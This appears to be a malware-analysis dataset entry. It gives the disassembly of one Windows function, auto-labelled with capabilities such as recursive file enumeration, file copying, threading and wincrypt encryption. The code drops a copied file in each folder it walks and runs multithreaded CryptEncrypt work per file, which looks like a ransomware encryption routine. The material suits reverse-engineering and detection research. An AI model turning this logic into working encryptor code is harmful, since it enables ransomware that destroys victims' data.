Function at 0x401b30
Capabilities:
Copy file
Create thread
Encrypt or decrypt via wincrypt
Enumerate files on windows
Enumerate files recursively

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc94
push ebx
push esi
mov esi, dword [ebp + 8]
xor eax, eax
push edi
mov dword [ebp - 0xc], ecx
lea edi, [ebp - 0x470]
xor ebx, ebx
mov ecx, 0x94
mov dword [ebp - 0x18], ebx
rep stosd dword es:[edi], eax
cmp dword [ebp + 0x10], eax
je 0x401cfc
lea eax, [ebp - 0x14]
push eax
lea eax, [ebp - 0xa8c]
push eax
push 0x104
push esi
call dword [sym.imp.KERNEL32.DLL_GetFullPathNameW]
test eax, eax
je 0x402121
push dword [ebp - 0x14]
lea eax, [ebp - 0xc94]
push eax
call dword [sym.imp.KERNEL32.DLL_lstrcpyW]
push 0x40a65c
push dword [ebp - 0x14]
call dword [sym.imp.KERNEL32.DLL_lstrcpyW]
push dword [section..data]
lea eax, [ebp - 0x470]
mov dword [ebp - 0x470], 0x10
push ebx
push ebx
push eax
push dword [0x40c004]
lea eax, [ebp - 0xa8c]
push eax
call dword [sym.imp.KERNEL32.DLL_FindFirstFileExW]
mov edi, eax
cmp edi, 0xffffffff
je 0x401cf5
mov esi, dword [ebp + 0xc]
nop word [eax + eax]
push 0x40a664
lea eax, [ebp - 0x444]
push eax
call dword [sym.imp.KERNEL32.DLL_lstrcmpiW]
test eax, eax
je 0x401cdc
push 0x40a668
lea eax, [ebp - 0x444]
push eax
call dword [sym.imp.KERNEL32.DLL_lstrcmpiW]
test eax, eax
je 0x401cdc
test byte [ebp - 0x470], 0x10
je 0x401cdc
lea eax, [ebp - 0x444]
push esi
push eax
call fcn.00402ad0
add esp, 8
test eax, eax
jne 0x401cdc
lea eax, [ebp - 0x14]
push eax
lea eax, [ebp - 0x678]
push eax
push 0x104
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.DLL_GetFullPathNameW]
test eax, eax
je 0x402121
lea eax, [ebp - 0x444]
push eax
push dword [ebp - 0x14]
call dword [sym.imp.KERNEL32.DLL_lstrcpyW]
push 0x40a670
lea eax, [ebp - 0x678]
push eax
call dword [sym.imp.KERNEL32.DLL_lstrcatW]
lea eax, [ebp - 0x678]
push eax
lea eax, [ebp - 0x884]
push eax
call dword [sym.imp.KERNEL32.DLL_lstrcpyW]
push 0x40c430
lea eax, [ebp - 0x884]
push eax
call dword [sym.imp.KERNEL32.DLL_lstrcatW]
push 1
lea eax, [ebp - 0x884]
push eax
push 0x40c020
call dword [sym.imp.KERNEL32.DLL_CopyFileW]
lea eax, [ebp - 0xc94]
push eax
lea eax, [ebp - 0x678]
push eax
call dword [sym.imp.KERNEL32.DLL_lstrcatW]
mov ecx, dword [ebp - 0xc]
lea eax, [ebp - 0x678]
push 1
push esi
push eax
call fcn.00401b30
lea eax, [ebp - 0x470]
push eax
push edi
call dword [sym.imp.KERNEL32.DLL_FindNextFileW]
test eax, eax
jne 0x401be0
mov esi, dword [ebp + 8]
push edi
call dword [sym.imp.KERNEL32.DLL_FindClose]
push dword [section..data]
lea eax, [ebp - 0x470]
push 0
push 0
push eax
push dword [0x40c004]
push esi
call dword [sym.imp.KERNEL32.DLL_FindFirstFileExW]
mov edi, eax
mov dword [ebp - 0x1c], edi
cmp edi, 0xffffffff
je 0x402113
nop dword [eax + eax]
test byte [ebp - 0x470], 0x10
jne 0x401f49
lea eax, [ebp - 0x14]
push eax
lea eax, [ebp - 0x884]
push eax
push 0x104
push esi
call dword [sym.imp.KERNEL32.DLL_GetFullPathNameW]
test eax, eax
je 0x402121
lea eax, [ebp - 0x444]
push eax
push dword [ebp - 0x14]
call dword [sym.imp.KERNEL32.DLL_lstrcpyW]
push 0xd16c
push 8
call dword [sym.imp.KERNEL32.DLL_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.DLL_HeapAlloc]
lea ecx, [ebp - 0x884]
mov dword [ebp + ebx*4 - 0x120], eax
push ecx
add eax, 0x400
push eax
call dword [sym.imp.KERNEL32.DLL_lstrcpyW]
inc ebx
mov dword [ebp - 0x18], ebx
cmp ebx, 0x40
jl 0x401f49
push 8
push 8
call dword [sym.imp.KERNEL32.DLL_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.DLL_HeapAlloc]
push dword [0x40c018]
mov ecx, eax
mov dword [ebp - 0x18], eax
call fcn.00402b70
xor ebx, ebx
mov dword [ebp - 8], ebx
nop dword [eax]
mov edi, dword [ebp + ebx - 0x120]
push 0x28
lea esi, [edi + 0xcf24]
push esi
call fcn.00404e80
lea ebx, [edi + 0xcf4c]
push 0x20
push ebx
call fcn.00404e80
lea eax, [edi + 0xcf6c]
mov dword [ebp - 0xc], esi
add esp, 0x10
mov dword [ebp - 0x10], eax
mov dword [ebp - 4], 0x28
push ecx
push edi
cld
mov esi, dword [ebp - 0xc]
mov edi, dword [ebp - 0x10]
mov ecx, dword [ebp - 4]
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, dword [ebp - 4]
and ecx, 3
rep movsb byte es:[edi], byte [esi]
pop edi
pop ecx
lea ecx, [ebp - 4]
push 0x190
push ecx
push eax
mov eax, dword [ebp - 0x18]
push 0
push 1
push 0
push dword [eax + 4]
call dword [sym.imp.ADVAPI32.dll_CryptEncrypt]
call dword [sym.imp.KERNEL32.DLL_GetLastError]
mov edx, dword [ebp - 8]
mov dword [ebp - 0x10], ebx
mov dword [ebp - 4], 0x20
mov eax, dword [ebp + edx - 0x120]
add eax, 0xd06c
mov dword [ebp - 0xc], eax
push ecx
push edi
cld
mov esi, dword [ebp - 0x10]
mov edi, dword [ebp - 0xc]
mov ecx, dword [ebp - 4]
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, dword [ebp - 4]
and ecx, 3
rep movsb byte es:[edi], byte [esi]
pop edi
pop ecx
mov esi, dword [ebp - 0x18]
lea ecx, [ebp - 4]
push 0x140
push ecx
push eax
push 0
push 1
push 0
push dword [esi + 4]
call dword [sym.imp.ADVAPI32.dll_CryptEncrypt]
call dword [sym.imp.KERNEL32.DLL_GetLastError]
mov ebx, dword [ebp - 8]
lea eax, [ebp - 0x570]
add eax, ebx
push eax
push 0
mov ecx, dword [ebp + ebx - 0x120]
push ecx
push 0x401af0
push 0
push 0
mov dword [ecx + 0xcf20], 1
call dword [sym.imp.KERNEL32.DLL_CreateThread]
mov dword [ebp + ebx - 0x220], eax
add ebx, 4
mov dword [ebp - 8], ebx
cmp ebx, 0x100
jb 0x401dd0
push 0xffffffffffffffff
push 1
lea eax, [ebp - 0x220]
push eax
push 0x40
call dword [sym.imp.KERNEL32.DLL_WaitForMultipleObjects]
push esi
push 0
call dword [sym.imp.KERNEL32.DLL_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.DLL_HeapFree]
xor esi, esi
nop dword [eax]
push dword [ebp + esi - 0x220]
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
push dword [ebp + esi - 0x120]
push 0
call dword [sym.imp.KERNEL32.DLL_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.DLL_HeapFree]
add esi, 4
cmp esi, 0x100
jb 0x401f10
mov esi, dword [ebp + 8]
xor ebx, ebx
mov edi, dword [ebp - 0x1c]
mov dword [ebp - 0x18], ebx
lea eax, [ebp - 0x470]
push eax
push edi
call dword [sym.imp.KERNEL32.DLL_FindNextFileW]
test eax, eax
jne 0x401d30
test ebx, ebx
jle 0x40210c
push 8
push 8
call dword [sym.imp.KERNEL32.DLL_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.DLL_HeapAlloc]
push dword [0x40c018]
mov ecx, eax
mov dword [ebp - 0xc], eax
call fcn.00402b70
xor edi, edi
mov dword [ebp - 4], edi
nop dword [eax]
lea eax, [edi*4]
mov edi, dword [ebp + eax - 0x120]
push 0x28
lea esi, [edi + 0xcf24]
push esi
call fcn.00404e80
lea ebx, [edi + 0xcf4c]
push 0x20
push ebx
call fcn.00404e80
lea eax, [edi + 0xcf6c]
mov dword [ebp - 0x10], esi
add esp, 0x10
mov dword [ebp - 0x20], eax
mov dword [ebp - 8], 0x28
push ecx
push edi
cld
mov esi, dword [ebp - 0x10]
mov edi, dword [ebp - 0x20]
mov ecx, dword [ebp - 8]
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, dword [ebp - 8]
and ecx, 3
rep movsb byte es:[edi], byte [esi]
pop edi
pop ecx
lea ecx, [ebp - 8]
push 0x190
push ecx
push eax
mov eax, dword [ebp - 0xc]
push 0
push 1
push 0
push dword [eax + 4]
call dword [sym.imp.ADVAPI32.dll_CryptEncrypt]
call dword [sym.imp.KERNEL32.DLL_GetLastError]
mov esi, dword [ebp - 4]
mov dword [ebp - 0x20], ebx
mov dword [ebp - 8], 0x20
lea edx, [esi*4]
mov eax, dword [ebp + edx - 0x120]
add eax, 0xd06c
mov dword [ebp - 0x10], eax
push ecx
push edi
cld
mov esi, dword [ebp - 0x20]
mov edi, dword [ebp - 0x10]
mov ecx, dword [ebp - 8]
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, dword [ebp - 8]
and ecx, 3
rep movsb byte es:[edi], byte [esi]
pop edi
pop ecx
mov esi, dword [ebp - 0xc]
lea ecx, [ebp - 8]
push 0x140
push ecx
push eax
push 0
push 1
push 0
push dword [esi + 4]
call dword [sym.imp.ADVAPI32.dll_CryptEncrypt]
call dword [sym.imp.KERNEL32.DLL_GetLastError]
mov edi, dword [ebp - 4]
lea eax, [ebp - 0x570]
lea ebx, [edi*4]
mov ecx, dword [ebp + ebx - 0x120]
add eax, ebx
push eax
push 0
push ecx
push 0x401af0
push 0
push 0
mov dword [ecx + 0xcf20], 1
call dword [sym.imp.KERNEL32.DLL_CreateThread]
inc edi
mov dword [ebp + ebx - 0x220], eax
mov ebx, dword [ebp - 0x18]
mov dword [ebp - 4], edi
cmp edi, ebx
jl 0x401f90
push 0xffffffffffffffff
push 1
lea eax, [ebp - 0x220]
push eax
push ebx
call dword [sym.imp.KERNEL32.DLL_WaitForMultipleObjects]
push esi
push 0
call dword [sym.imp.KERNEL32.DLL_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.DLL_HeapFree]
xor esi, esi
test ebx, ebx
jle 0x402109
push dword [ebp + esi*4 - 0x220]
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
push dword [ebp + esi*4 - 0x120]
push 0
call dword [sym.imp.KERNEL32.DLL_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.DLL_HeapFree]
inc esi
cmp esi, ebx
jl 0x4020e1
mov edi, dword [ebp - 0x1c]
push edi
call dword [sym.imp.KERNEL32.DLL_FindClose]
mov eax, 1
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0xc
pop edi
pop esi
xor eax, eax
pop ebx
mov esp, ebp
pop ebp
ret 0xc